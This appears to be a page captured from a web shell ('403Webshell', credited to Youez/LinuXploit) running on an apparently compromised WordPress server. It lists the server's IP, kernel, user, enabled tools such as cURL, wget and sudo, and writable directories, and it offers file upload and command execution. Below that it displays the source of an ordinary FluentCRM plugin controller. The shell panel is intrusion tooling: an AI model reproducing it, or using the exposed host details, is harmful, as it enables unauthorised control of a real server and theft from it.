403Webshell
Server IP : 52.25.153.185  /  Your IP : 216.73.217.131
Web Server : Apache
System : Linux ip-172-26-6-158 5.10.0-35-cloud-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
User : daemon ( 1)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/fluent-crm/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/fluent-crm/app/Http/Controllers/PurchaseHistoryController.php
<?php

namespace FluentCrm\App\Http\Controllers;

use FluentCrm\App\Models\Subscriber;
use FluentCrm\App\Services\Helper;

/**
 *  PurchaseHistoryController - REST API Handler Class
 *
 *  REST API Handler
 *
 * @package FluentCrm\App\Http
 *
 * @version 1.0.0
 */
class PurchaseHistoryController extends Controller
{
    public function historyProviders()
    {
        return $this->sendSuccess([
            'providers' => Helper::getPurchaseHistoryProviders()
        ]);
    }

    public function getOrders()
    {
        $provider = $this->request->getSafe('provider');
        $subscriberId = $this->request->getSafe('id', 'intval');
        $subscriber = Subscriber::findOrFail($subscriberId);

        /**
         * Determine the purchase history data for a specific provider in FluentCRM.
         *
         * The dynamic portion of the hook name, `$provider`, refers to the purchase history provider.
         *
         * @since 1.0.0
         *
         * @param array {
         *     The purchase history data.
         *
         *     @type array $orders List of orders.
         *     @type int   $total  Total number of orders.
         * }
         * @param object $subscriber The subscriber object.
         */
        $data = apply_filters('fluent_crm/purchase_history_'.$provider, [
            'orders' => [],
            'total' => 0
        ], $subscriber);

        return $this->sendSuccess([
            'orders' => $data
        ]);
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit